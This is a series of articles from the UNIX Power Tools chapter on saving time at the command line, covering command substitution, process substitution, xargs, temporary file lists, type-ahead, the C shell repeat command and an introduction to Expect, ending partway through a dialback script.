[If your shell has interactive command-line editing, like the Korn shell (11.13) does, the technique here can still be useful. As Mike says, you might want to save the script and use it later. -JP]

Shell scripts are often handy, even if you never intend to write software. One problem that most users face is typing a complicated command correctly. For example, let's say you need to type the following monstrosity:

% soelim a.ms b.ms | pic | eqn | tbl | troff -ms -a | more

(This isn't unrealistic; I've typed this particular command a few times.) Rather than spend all that time typing, then backspacing to fix some error, then typing some more, then backspacing again, you can create a very simple "throwaway" shell script with your favorite editor:

# shell script "foo" for one-time use
soelim a.ms b.ms | pic | eqn | tbl | troff -ms -a -rz1 | more

Use your editor to play with the script until the command looks right - any half-competent text editor will be much easier to work with than the "raw" command line. Then execute it like this:

% sh foo

If you don't think you'll need this command again, you can delete the file - or use a temporary file (21.3) in the first place. But before you use rm, think: most things that you do once, you'll need to do again. Give it an intelligent name, and save it in your bin directory (4.2). You're now a shell programmer.

This is also a great idea for complex sequences of commands.

- ML

Previous: 9.14 Using Here Documents for Form Letters, etc. | UNIX Power Tools | Next: 9.16 Command Substitution
9.14 Using Here Documents for Form Letters, etc. | Book Index | 9.16 Command Substitution
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.16 Command Substitution

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.15 Throwaway Scripts for Complicated Commands Chapter 9
Saving Time on the Command Line 		Next: 9.17 Handling Lots of Text with Temporary Files

9.16 Command Substitution

A pair of backquotes (``) does command substitution. This is really useful - it lets you use the standard output from one command as arguments to another command.

Here's an example. Assume you want to edit all files in the current directory that contain the word "error." Type this:

-l

$ vi `grep -l error *.c`
3 files to edit
"bar.c" 254 lines, 28338 characters
   ...
$

But why does this work? How did we build the incantation above? First, think about how you'd do this without using any special techniques. You'd use grep to find out which commands contain the word "error"; then you'd use vi to edit this list:

$ grep error *.c
bar.c:  error("input too long");
bar.c:  error("input too long");
baz.c:  error("data formatted incorrectly");
foo.c:  error("can't divide by zero"):
foo.c:  error("insufficient memory"):
$ vi bar.c baz.c foo.c

Is there any way to compress these into one command? Yes, by using command substitution. First, we need to modify our grep command so that it only produces a list of filenames, rather than filenames and text. That's easy; use grep -l:

$ grep -l error *.c
bar.c
baz.c
foo.c

The -l option lists each filename only once, even if many lines in the file match. (This makes me think that grep -l was designed with precisely this application in mind.) Now, we want to edit these files; so we put the grep command inside backquotes, and use it as the argument to vi:

$ vi `grep -l error *.c`
3 files to edit
"bar.c" 254 lines, 28338 characters
   ...
$

You might be wondering about the difference between the "vertical" output from grep, and the "horizontal" way that people usually type arguments on a command line. The shell handles this with no problems. Inside backquotes, both a newline and a space are argument separators.

The list you use with command substitution doesn't have to be filenames. Let's see how to send a mail message (1.33) to all the users logged on to the system now. You want a command line like this:

% mail joe lisa franka mondo bozo harpo ...

Getting there takes a little thinking about what UNIX commands you need to run to get the output you want. (This is real "Power Tools" stuff!) To get a list of those users, you could use who (51.4). The who output also lists login time and other information - but you can cut that off with a command like cut (35.14):

% who | cut -c1-8
joe
lisa
franka
lisa
joe
mondo
joe
...

Some users are logged on more than once. To get a unique list, use sort -u (36.6). You're done. Just put the name-making command line between backquotes:

% mail `who | cut -c1-8 | sort -u`

If you aren't sure how this works, replace the command you want to run with echo (8.6):

% echo `who | cut -c1-8 | sort -u`
bozo franka harpo joe lisa mondo

After using UNIX for awhile, you'll find that this is one of its most useful features. You'll find many situations where you use one command to generate a list of words, then put that command in backquotes and use it as an argument to something else. Sometimes you'll want to nest (45.31) the backquotes - this is where the bash and ksh $( ) operators (which replace the opening and closing backquote, respectively) come in handy. There are some problems (9.20) with command substitution but you usually won't run into them.

This book has many, many examples of command substitution. Here are some of them: making unique filenames (16.16), removing some files from a list (23.21), counting words (29.6), getting a list of files (15.9), setting your shell prompt (7.4, 7.6, 7.11), setting variables (5.4, 45.30), making a wildcard (15.5), and running a loop (40.2).

- JP

Previous: 9.15 Throwaway Scripts for Complicated Commands | UNIX Power Tools | Next: 9.17 Handling Lots of Text with Temporary Files
9.15 Throwaway Scripts for Complicated Commands | Book Index | 9.17 Handling Lots of Text with Temporary Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.17 Handling Lots of Text with Temporary Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.16 Command Substitution Chapter 9
Saving Time on the Command Line 		Next: 9.18 Process Substitution

9.17 Handling Lots of Text with Temporary Files

Sometimes, you need to execute a command with a long list of files for arguments. Here's an easy way to create that list without having to type each filename yourself - put the list in a temporary file (21.3):

`...`
% ls > /tmp/mikel
% vi /tmp/mikel
 ...edit out any files you don't want...
% process-the-files `cat /tmp/mikel`
% rm /tmp/mikel

I added the vi step to remind you that you can edit this list; for example, you may want to delete a few files that you don't want to process.

Possible problems: if the list is long enough, you may end up with a command line that's too long for your shell to process. If this happens, use xargs (9.21). If your system doesn't have xargs, there are other workarounds (9.23)doesn't that should solve the problem. Article 9.24 shows another way to use temporary files for commands.

- ML

Previous: 9.16 Command Substitution | UNIX Power Tools | Next: 9.18 Process Substitution
9.16 Command Substitution | Book Index | 9.18 Process Substitution
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.18 Process Substitution

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.17 Handling Lots of Text with Temporary Files Chapter 9
Saving Time on the Command Line 		Next: 9.19 For the Impatient: Type-Ahead

9.18 Process Substitution

Do you find yourself making temporary files, then giving those files to some commands to read? For example, maybe you want to compare two files with comm (28.12)- but comm needs sorted files, and these files aren't sorted. So you have to type:

bash$ sort file1 > /tmp/file1.sort
bash$ sort file2 > /tmp/file2.sort
bash$ comm /tmp/file1.sort /tmp/file2.sort

There are easier ways to do that.

9.18.1 bash Process Substitution

bash has the operator <(process). It runs a process and gives the output to a named pipe. Then the filename of the named pipe becomes a command-line argument. Here's an example that shows two unsorted files and the result:

bash$ cat file1
rcsdiff.log
runsed
runsed.new
echo.where
foo
bash$ cat file2
newprogram
runsed
echo.where
foo

bash$ comm <(sort file1) <(sort file2)
                echo.where
                foo
        newprogram
rcsdiff.log
                runsed
runsed.new

(In the first column, comm shows lines only in file1. The second column shows lines only in file2. The third column shows lines that were in both files.)

Let's take a closer look at how that works. By setting the -x option (8.17), the shell will display the processes it runs with a + before each top-level process and ++ before second-level processes:

bash$ set -x
bash$ comm <(sort file1) <(sort file2)
+ comm /tmp/sh-np-a11167 /tmp/sh-np-b11167
++ sort file1
++ sort file2
                echo.where
                foo
        newprogram
rcsdiff.log
                runsed
runsed.new

The script made its named pipes in /tmp. bash ran each sort command, sent its output to a named pipe, and put the pipe's filename on the command line. When the comm program finished, the named pipes were deleted.

I've run into problems with this operator in some cases: when the process reading from a named pipe "hung" and never made any output. For example, that happened when I replaced comm with diff: I'd get no output from diff. I worked around the problem by closing the standard output of each process with the >&- operator (45.21), like this:

bash$ diff <(sort file1; exec >&-) <(sort file2; exec >&-)

That made diff happy; it showed me the differences between the two sorted files.

bash also has a similar operator, >( ), which takes the input of a process from a named pipe.

9.18.2 Automatic Temporary Files with !

If you don't have bash, you can use the shell script named ! (an exclamation point) [2] that runs a command, stores its output in a temporary file, then puts the temporary filename on its standard output. You use it with backquotes (9.16) (``). Here's how to write the example from the previous section:

[2] The C shell also uses an exclamation point as its history character (11.1, 11.15), but not if there's a space after the exclamation point. This script doesn't conflict with csh history. bash uses the exclamation point to reverse the exit status of a command - but then, if you're using bash, you don't need our ! script.

% comm `! sort file1` `! sort file2`
                echo.where
                foo
        newprogram
rcsdiff.log
                runsed
runsed.new

Why didn't I use the command line below, without the ! script?

% comm `sort file1` `sort file2`

That's because the comm program (like most UNIX programs) needs filename arguments. Using backquotes by themselves would place the list of names (the sorted contents of the files file1 and file2) on the comm command line.

To see what's happening, you can use a Bourne shell and set its -x option (8.17); the shell will display the commands it runs with a + before each one:

$ set -x
$ comm `! sort file1` `! sort file2`
+ ! sort file1
+ ! sort file2
+ comm /tmp/bang3969 /tmp/bang3971
                echo.where
                foo
        newprogram
rcsdiff.log
                runsed
runsed.new

The script made its temporary files (21.3) in /tmp. You should probably remove them. If you're the only one using this script, you might be able to get away with a command like:

% rm /tmp/bang[1-9]*

If your system has more than one user, it's safer to use find (17.1):

% find /tmp -name 'bang*' -user myname -exec rm {} \;

If you use this script much, you might make that cleanup command into an alias (10.2) or a shell script - or start it in the background (1.26) from your .logout file (3.1, 3.2).

Here's the ! script. Of course, you can change the name to something besides ! if you want.

$@

#! /bin/sh

temp=/tmp/bang$$

case $# in
0)  echo "Usage: `basename $0` command [args]" 1>&2
    echo $temp
    exit 1
    ;;

*)  "$@" > $temp
    echo $temp
    ;;
esac

- JP

Previous: 9.17 Handling Lots of Text with Temporary Files | UNIX Power Tools | Next: 9.19 For the Impatient: Type-Ahead
9.17 Handling Lots of Text with Temporary Files | Book Index | 9.19 For the Impatient: Type-Ahead
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.19 For the Impatient: Type-Ahead

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.18 Process Substitution Chapter 9
Saving Time on the Command Line 		Next: 9.20 Too Many Files for the Command Line

9.19 For the Impatient: Type-Ahead

The UNIX shells have a feature called type-ahead that allows you to continue typing while the computer is thinking about something. This is convenient if you have a sequence of commands that need to run in order, and you don't like waiting for the last command to finish before typing the next one.

Basically, type-ahead just means that the shell lets you keep typing, even when it's apparently "busy" (i.e., even when you don't have a prompt). You can even continue typing while the current command (in the foreground (1.26)) is spraying data to the screen - although you may find that confusing. Any further commands you type will be executed as soon as the foreground command finishes. The easiest way to demonstrate type-ahead is with the sleep (40.2) command, which just waits:

% sleep 25
lpr article
% %

This sleep command does nothing for 25 seconds. Therefore, you don't see a prompt after pressing RETURN at the end of the sleep command line. However, you can type the next command (lpr), which will be executed as soon as the sleep is finished. The terminal driver (42.1) reads the characters you type, sticks them in a buffer, and hands them to the shell whenever the shell is ready.

What happens if something goes wrong? You can press your interrupt key (38.9) (like CTRL-c) at any time to cancel the foreground job. In this case, UNIX will discard the type-ahead, rather than execute it. (The same goes for CTRL-z, or any other signal the foreground job receives from the terminal. [3]) This is usually what you want; that is, if you press CTRL-c to terminate the foreground job, you usually don't want to execute any jobs that you've queued up afterward. Type-ahead isn't only good for giving additional commands. If your command takes a long time to start, you can type its input while you're waiting. Here's an example that's about as extreme as you're likely to see. It uses ftp (52.7), a program for connecting to a remote host:

[3] There are some situations - like executing commands within an Emacs "shell window"-where stopping the foreground command may not flush the type-ahead commands.

% ftp
open golgonooza
loukides
ftp> Connected to golgonooza.
220 golgonooza FTP server ready.
Name (golgonooza:mikel): 331 Password required for loukides.
Password:

I managed to enter my first ftp command and my login name (which I knew ftp would ask for) before ftp started. You probably can't use type-ahead for your password, though I've seen some odd systems on which this would work. Even if it works on your system, you shouldn't try it; ftp hasn't had time to turn keyboard echoing off, so your password will appear on your terminal, where anyone can read it.

Using type-ahead like this takes some guts; you have to know exactly what input your application will want, and when it will want it. But it's also fun in a perverse sense. You will find occasional applications (particularly applications that take over the screen) that don't allow type-ahead. However, there's no way to predict what will and what won't. I've seen some Emacs implementations that would let you start editing the file before the editor "came up" on the screen; I've seen others that wouldn't. [vi almost always lets you type commands as it starts. -JP ]

I have a really terrible way of using type-ahead-I don't recommend it, but it shows what you can do. Rather than use a news reader (1.33), I often cd to a news directory and use grep (27.1) to search for interesting articles. While I watch pages of grep output scroll by, I start typing a more (25.3) command, using the article numbers that I'm interested in. By the time grep has worked through the whole newsgroup, I've finished the more command, and I'm ready to read the articles that grep told me about. (I didn't say this wasn't perverse. And it's easier on terminals that use a slow data rate.)

- ML

Previous: 9.18 Process Substitution | UNIX Power Tools | Next: 9.20 Too Many Files for the Command Line
9.18 Process Substitution | Book Index | 9.20 Too Many Files for the Command Line
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.20 Too Many Files for the Command Line

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.19 For the Impatient: Type-Ahead Chapter 9
Saving Time on the Command Line 		Next: 9.21 Handle Too-Long Command Lines with xargs

9.20 Too Many Files for the Command Line

A pair of backquotes (``) (9.16) lets you run a command like find (17.1) and put its output onto another command's command line. For example:

pr lpr
% pr -n `find . -type f -mtime -1 -print` | lpr

would give a list of all the files you edited today to pr and pipe pr's output to the printer.

One day I was making global substitutions to a lot of files (34.3, 28.9) and got the error Arguments too long when I tried to print the files I had edited. Turned out that find output such a long list of files that it overflowed the command line:

% pr -n ./path/file1 ./path/path/file2 ./path/file3 ... | lpr

(This can happen for any command inside backquotes, not just find.)

I had to split find's standard output into chunks that wouldn't be too long. This was on a UNIX that didn't have the great xargs (9.21), so I decided to use fmt (35.2) instead. fmt reads its standard input and collects enough text to fill an output line. I used fmt -1000, which makes output lines about 1000 characters wide-long enough so I wouldn't need too many pr commands, but not too long... I started a Bourne shell, which lets you pipe to the input of a loop (45.23). The shell prints secondary prompts (9.13) until you finish entering the loop:

read

exit
% sh
$ find . -type f -mtime -1 -print |
> fmt -1000 |
> while read files
> do pr -n $files
> done | lpr
$ exit
%

The shell put each line of filenames from fmt -1000 into the files shell variable, ran pr with those filenames, and piped the output of all the prs to the standard input of lpr. The lpr command didn't know that it was being fed by lots of pr commands - all it saw was a series of 66 - line pages that the prs output.

If you have xargs on your system, you can do the same thing this way:

% find . -type f -mtime -1 -print | xargs pr -n | lpr

Warning! xargs reads text from its standard input, collects a reasonable amount, then runs the command line pr -n path/file path/file.... Then xargs reads more text and runs pr again, over and over, until it's read all the text. The output of the xargs command (which is actually the output of all those prs) is fed to a single lpr command.

Parting shot (by ML): there's really no excuse for xargs or any of these other tricks; they're just a patch for a design error. UNIX should be able to handle arbitrarily long command lines; maybe in some future version, it will.

- JP

Previous: 9.19 For the Impatient: Type-Ahead | UNIX Power Tools | Next: 9.21 Handle Too-Long Command Lines with xargs
9.19 For the Impatient: Type-Ahead | Book Index | 9.21 Handle Too-Long Command Lines with xargs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.21 Handle Too-Long Command Lines with xargs

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.20 Too Many Files for the Command Line Chapter 9
Saving Time on the Command Line 		Next: 9.22 xargs: Problems with Spaces and Newlines

9.21 Handle Too-Long Command Lines with xargs

xargs is one of those UNIX utilities that seems pretty useless when you first hear about it - but turns into one of the handiest tools you can have.

xargs
 If your system doesn't already have xargs, be sure to install it from the CD-ROM.

xargs reads a group of arguments from its standard input, then runs a UNIX command with that group of arguments. It keeps reading arguments and running the command until it runs out of arguments. The shell's backquotes (9.16) do the same kind of thing, but they give all the arguments to the command at once. This can give you a Too many arguments (9.20) error.

Here are a couple of examples:

  • If you want to print most of the files in a large directory, put the output of ls into a file. Edit the file to leave just the filenames you want printed. Give the file to xargs' standard input:

<
    % ls > allfiles.tmp
% vi allfiles.tmp
% xargs lpr < allfiles.tmp

    What did that do? With lines like these in allfiles.tmp:

    % cat allfiles.tmp
afile
application
   ...
yoyotest
zapme

    xargs ran one or more lpr commands, each with a group of arguments, until it had read every word in the file:

    lpr afile application ...
   ...
lpr ... yoyotest zapme

  • The standard output of xargs is the standard output of the commands it runs. So, if you'd created allfiles.tmp above but you wanted to format the files with pr (43.7) first, you could type:

    % xargs pr < allfiles.tmp | lpr

    Then xargs would run all of these pr commands. The shell would pipe their standard outputs [4] to a single lpr command:

    [4] Actually, the shell is piping the standard output of xargs. As I said above, xargs sends the standard output of commands it runs to its own standard output.

    pr afile application ...
   ...
pr ... yoyotest zapme

    In this next example, find (17.1) gets a list of all files in the directory tree. Next, we use xargs to read those filenames and run grep -l (15.7) to find which files contain the word "WARNING." Next, we pipe that to a setup with pr and lpr, like the one in the previous example:

    % find . -type f -print | xargs grep -l WARNING | xargs pr | lpr

    "Huh?" you might say. Just take that step by step. The output of find is a list of filenames, like ./afile ./bfile ... ./adir/zfile and so on. The first xargs gives those filenames to one or more grep -l commands:

grep -l WARNING ./afile ./bfile ...
   ...
grep -l WARNING ./adir/zfile ...

    The standard output of all those greps is a (shortened) list of filenames that match. That's piped to another xargs-it runs pr commands with the filenames that grep found.

    UNIX is weird and wonderful!

  • Sometimes you don't want xargs to run its command with as many arguments as it can fit on the command line. The -n option sets the maximum number of arguments xargs will give to each command. Another handy option, -p, prompts you before running each command.

    Here's a directory full of files with errors (whose names end with .bad) and corrected versions (named .fixed). I use ls to give the list of files to xargs; it reads two filenames at once, then asks whether I want to run diff -c to compare those two files. It keeps prompting me and running diff -c until it runs out of file pairs:

    % ls
chap1.bad
chap1.fixed
chap2.bad
chap2.fixed
    ...
chap9.bad
chap9.fixed
% ls | xargs -p -n2 diff -c
diff -c chap1.bad chap1.fixed ?...y
   ...Output of diff command for chap1...
diff -c chap2.bad chap2.fixed ?...n
diff -c chap3.bad chap3.fixed ?...y
   ...Output of diff command for chap3...
    ...

As the next article (9.22) explains, xargs can have trouble if an argument has white space inside a word. Luckily, the GNU xargs (read about it there) solves the problem.

- JP

Previous: 9.20 Too Many Files for the Command Line | UNIX Power Tools | Next: 9.22 xargs: Problems with Spaces and Newlines
9.20 Too Many Files for the Command Line | Book Index | 9.22 xargs: Problems with Spaces and Newlines
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.22 xargs: Problems with Spaces and Newlines

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.21 Handle Too-Long Command Lines with xargs Chapter 9
Saving Time on the Command Line 		Next: 9.23 Workaround for "Arguments too long" Error

9.22 xargs: Problems with Spaces and Newlines

The xargs (9.21) command reads its input and splits the arguments at spaces or newlines. It's legal (though pretty unusual) for UNIX filenames to have spaces or newline characters in them. Those filenames can cause xargs trouble.

For example, I have a directory full of copies of Usenet (1.33) articles. The filenames are the same as the subjects of the articles:

% ls
A use for the "yes" command
Beware UNIX Security Holes
Causes of 'test' errors
   ...

The problem comes when I run a command like this:

% find . -type f -mtime +7 -print | xargs rm

If find outputs the pathname ./Beware UNIX Security Holes, the xargs command would most likely tell rm to remove four filenames: ./Beware, UNIX, Security, and Holes. I'd probably get four error messages from rm because no files with those names exist. If they did exist, though, they'd be removed when they shouldn't! Newlines in filenames can cause the same problems.

Some versions of xargs (see below) are better at handling this problem. Here's a simple test to see how well your system's version works.

Make an empty directory, a filename with spaces, and a filename with a newline. Try to remove the file:

touch
\

% mkdir temp
% cd temp
% touch 'Just testing'
% touch 'some\
file'
% find . -print | xargs rm
./Just: No such file or directory
testing: No such file or directory
some: No such file or directory
file: No such file or directory

That xargs broke the filenames at the space and newline. If it hadn't broken the filenames, the files would have been removed.

The GNU xargs (on the CD-ROM) has a -0 (zero) option; this means the pathnames it reads are separated by NUL characters instead of whitespace. GNU's find (also on this disc) has a -print0 operator that puts a NUL between pathnames instead of a newline. Use them together like this:

% find . -type f -mtime +7 -print0 | xargs -0 rm

Because UNIX pathnames won't contain NULs, this combination should never fail. (Try it!)

- JP

Previous: 9.21 Handle Too-Long Command Lines with xargs | UNIX Power Tools | Next: 9.23 Workaround for "Arguments too long" Error
9.21 Handle Too-Long Command Lines with xargs | Book Index | 9.23 Workaround for "Arguments too long" Error
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.23 Workaround for "Arguments too long" Error

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.22 xargs: Problems with Spaces and Newlines Chapter 9
Saving Time on the Command Line 		Next: 9.24 Get File List by Editing Output of ls -l, grep, etc.

9.23 Workaround for "Arguments too long" Error

When the shell matches a wildcard (15.1) in a big directory or with long pathnames (14.2, 15.6), it can sometimes run out of room. You'll get an error like this:

pr
% pr */* | lpr
Arguments too long.

Sometimes you can work around that. The trick is to split the command line into pieces with semicolons (8.5)- and use a subshell (13.7) to combine the outputs. For example, I rewrote the previous command like this:

% (pr [a-f]*/*;pr [g-m]*/*;pr [n-z]*/*) | lpr

The first command prints the files in directories whose names start with "a" through "f," and so on.

How did I decide where to split? There's no magic formula. The number of pieces you'll need and the way you divide them will depend on how many directories and files you're trying to match - and your version of UNIX. Do it by experiment. A dummy command like true that ignores its arguments is good for this. In the example above, I first tried splitting the arguments in half. Then I split them more. I did the same for other chunks until the shell was happy with all of them:

% true [a-m]*/*
Arguments too long.
% true [a-f]*/*
% true [g-z]*/*
Arguments too long.
% true [g-m]*/*
% true [n-z]*/*

This trick works fine for commands like pr that make regular output that is consistent whether you run separate chunks of files or do all at the same time. Some commands start each listing with a separate heading - for instance, ls -l prints total n before it lists a directory. That kind of command won't work as neatly with this trick because you'll get several headings mixed in with the output instead of just one. Still, it might be better than nothing!

- JP

Previous: 9.22 xargs: Problems with Spaces and Newlines | UNIX Power Tools | Next: 9.24 Get File List by Editing Output of ls -l, grep, etc.
9.22 xargs: Problems with Spaces and Newlines | Book Index | 9.24 Get File List by Editing Output of ls -l, grep, etc.
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.24 Get File List by Editing Output of ls -l, grep, etc.

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.23 Workaround for "Arguments too long" Error Chapter 9
Saving Time on the Command Line 		Next: 9.25 The C Shell repeat Command

9.24 Get File List by Editing Output of ls -l, grep, etc.

It seems like I'm always using ls-also, usually, -l and maybe other options - to find out which of my files I need to do something to. I also use grep or one of the other greps (27.1) to search for files that have certain text in them. No matter what command I use, I redirect the output (13.1) to a temporary file (21.2, 21.3) and then edit the file. After the editing, I have a list of filenames that I can use inside backquotes (9.16) with some other command - or store in a shell variable (6.8).

Here are two examples. These show the vi editor, but you can use any other UNIX editor that handles plain text files. Depending on what you need, there are probably UNIX utilities that can help.

9.24.1 What Files Have I Just Edited?

While I was working on this book, my current directory could have around 1000 files. If I wanted to find out which files I'd edited today, I would use ls -lt (16.2) to get a listing of files with the most recently modified listed first. Edit the file, delete all lines except files I'd edited today, then remove everything from each line except the filename. Finally, use backquotes and rcp (1.33) to copy the files to the ptbackup directory on the fserver computer:

  1. Make the file list and start the editor:

!$
    % ls -lt > /tmp/bk$$
% vi !$
vi /tmp/bk28182

  2. Delete all lines except the ones for files from February 29:

    total 4294                                           << delete
-rw-r--r--  1 jerry        1529 Feb 29 17:25 a7630
-rw-r--r--  1 jerry        1864 Feb 29 16:29 a0147
   ...Keep these lines...
-rw-r--r--  1 jerry        1772 Feb 29 09:01 a1900
-rw-r--r--  1 jerry        2693 Feb 29 08:51 a0031
-rw-r--r--  1 jerry         744 Feb 28 23:35 a7600   << delete
-rw-r--r--  1 jerry        1957 Feb 28 22:18 a5210   << delete
   ...Delete the rest...

  3. In vi, use the | (vertical bar) command (30.34) to find the column number just before the filenames start. For example, here's where the commands 30|, 39|, and 45| moved the cursor:

    -rw-r--r--  1 jerry        1529 Feb 29 17:25 a7630
                           30^      39^   45^

  4. So, I want to delete columns 1-45 from every line. The easiest way is a filter-through (30.22) with colrm 1 45 (35.15) or cut -c46- (35.14):

    :%!cut -c46-

  5. Now the file looks like this - just the filenames:

    a7630
a0147
...
a1900
a0031

    I can sort it with :%!sort if I want to - or do more editing. Then I write the file and quit.

  6. Feed the list of filenames to the UNIX command I want to run:

    % rcp `cat /tmp/bk$$` fserver:ptbackup

    This works with most any UNIX command - not just rcp. For example, if I want to print the files, I can use:

    % lpr `cat /tmp/bk$$`

  7. If I'll be doing a lot of work with the filenames, typing the backquotes over and over is a pain. I'll store the filenames in a shell variable (6.8):

    • First, pick a name for the shell variable. I usually choose temp because it's not used on my account. You should check the name you choose before you set it by typing echo "$varname"; be sure it's empty or useless.

    • Store the filenames from your temporary file:

      % set temp=(`cat /tmp/bk$$`) ...C shells
$ temp="`cat /tmp/bk$$`" ...Bourne shells

    • Use the shell variable. For example:

      % cp $temp backupdir
% vi $temp
% ...

(Sometimes, find with operators like -newer (17.8) is easier - but find searches subdirectories too, unless you use -prune (17.23).) Oh, try to remember to rm the temp file when you're done with it.

9.24.2 Search for Text with grep

The grep -l option (15.7) gives you a list of filenames that match a string - that might be all I need. But sometimes I need to see the lines that grep found to decide whether to include that file or not. Here's how:

  1. Search the files. Be sure that your grep-like command will print the filename before each matching line:

    % egrep -i "summar(y|ies)" * > /tmp/bk$$

  2. Edit the temporary file. The lines will look something like this:

    a0066:Here is a summary of the different components:
a0183:Summary: String functions in awk
a0183:for a summary of all the string functions
a0184:Let's start wlth a short summary how awk treats command
a1000:Here's a summary of the rules that UNIX uses to interpret paths:
a1000:Here's a summary of the different sorts of wildcards available:
a1680:cumulative summary files and ASCII reports in
a2710:In summary, \fIcomm\fP is similar to \fIdiff\fP:
   ...

    Leave a line for each file that you want to operate on; delete the rest:

    a0066:Here is a summary of the different components:
a0183:Summary: String functions in awk
a1000:Here's a summary of the different sorts of wildcards available:
   ...

  3. Strip off everything after the filenames. Unless any of your filenames have colons (:) in them, you can tell vi to strip off the colons and everything after them. That command is:

    :%s/:.*//

    If there's a chance that a filename might be repeated (because grep matched more than one line), filter the filenames through sort -u to get rid of duplicates. In vi, type:

    :%!sort -u

    Like before, what's left is a list of filenames:

    a0066
a0183
a1000
    ...

    You can feed them to whatever command you need to run, as in the previous example.

I hope those two examples give you the idea, which is: learn what UNIX utilities are "out there"-and how to grab and edit their output to do what you want.

- JP

Previous: 9.23 Workaround for "Arguments too long" Error | UNIX Power Tools | Next: 9.25 The C Shell repeat Command
9.23 Workaround for "Arguments too long" Error | Book Index | 9.25 The C Shell repeat Command
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.25 The C Shell repeat Command

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.24 Get File List by Editing Output of ls -l, grep, etc. Chapter 9
Saving Time on the Command Line 		Next: 9.26 Expect

9.25 The C Shell repeat Command

The C shell has a built-in command that lets you execute a command repeatedly:

% repeat n command

All you do is specify the number of repetitions, followed by the command you want to re-execute. A trivial example would be:

% repeat 4 echo Enter name:
Enter name:
Enter name:
Enter name:
Enter name:

Simple, right? Just imagine what Jack Nicholson could have done in the movie The Shining if he had traded in his typewriter for a UNIX system:

% repeat 500 echo "All work and no play makes Jack a dull boy."

Ok, this is fun at first, but you may soon wonder whether this command has any down-to-earth uses. It does, and I'll conclude with some more useful examples:

  1. Print three copies of memo:

    % repeat 3 pr memo | lp

  2. Run popd (14.6) four times to clear a directory stack:

    % repeat 4 popd

  3. Append 50 boilerplate files to report:

    % repeat 50 cat template >> report

Some versions of the C shell repeat command have a quoting bug. See the end of article 47.2.

- DG

Previous: 9.24 Get File List by Editing Output of ls -l, grep, etc. | UNIX Power Tools | Next: 9.26 Expect
9.24 Get File List by Editing Output of ls -l, grep, etc. | Book Index | 9.26 Expect
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.26 Expect

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.25 The C Shell repeat Command Chapter 9
Saving Time on the Command Line 		Next: 10. Aliases

9.26 Expect

expect
 Expect is a program to control interactive applications such as telnet (1.33) and passwd. These and many other applications interactively prompt and expect a user to enter keystrokes in response. But you can write simple Expect scripts to automate these interactions. Then the Expect program can run the "interactive" program non-interactively. Expect can also be used to automate only parts of a dialogue, since control can be passed from the script to the keyboard and vice versa. This allows a script to do the drudgery and a user to do the fun stuff.
tcl
tk
Expect programs can be written in any language, but are almost always written using Tcl. Tcl is an interpreted language that is widely used in many other applications. If you already use a Tcl-based application, you won't have to learn a new language for Expect.

Tcl is a very typical-looking shell-like language. There are commands to set variables (set), control flow (if, while, foreach, etc.), and perform the usual math and string operations. Of course, UNIX programs can be called, too.

Expect is integrated on top of Tcl and provides additional commands for interacting with programs. Expect is named after the specific command that waits for output from a program. The expect command is the heart of the Expect program. The expect command describes a list of patterns to watch for. Each pattern is followed by an action. If the pattern is found, the action is executed.

For example, the following fragment is from a script that involves a login. When executed, the script waits for the strings welcome, failed, or busy, and then it evaluates [(executes)-JP ] one of the corresponding actions. The action associated with busy shows how multiple commands can be evaluated. The timeout keyword is a special pattern that matches if no other patterns match in a certain amount of time.

expect {
   "welcome" break
   "failed"  abort
   timeout   abort
   "busy"    {
        puts "I'll wait - the system is busy!"
        continue
    }
}

9.26.1 Dialback

It is surprising how little scripting is necessary to produce something useful. Below is a script that dials a phone. It is used to reverse the charges so that long-distance phone calls are charged to the computer. It is invoked with the phone number as its argument.

spawn tip modem
expect "connected"
send "ATD$argv\r"
# modem takes a while to connect
set timeout 60
expect "CONNECT"

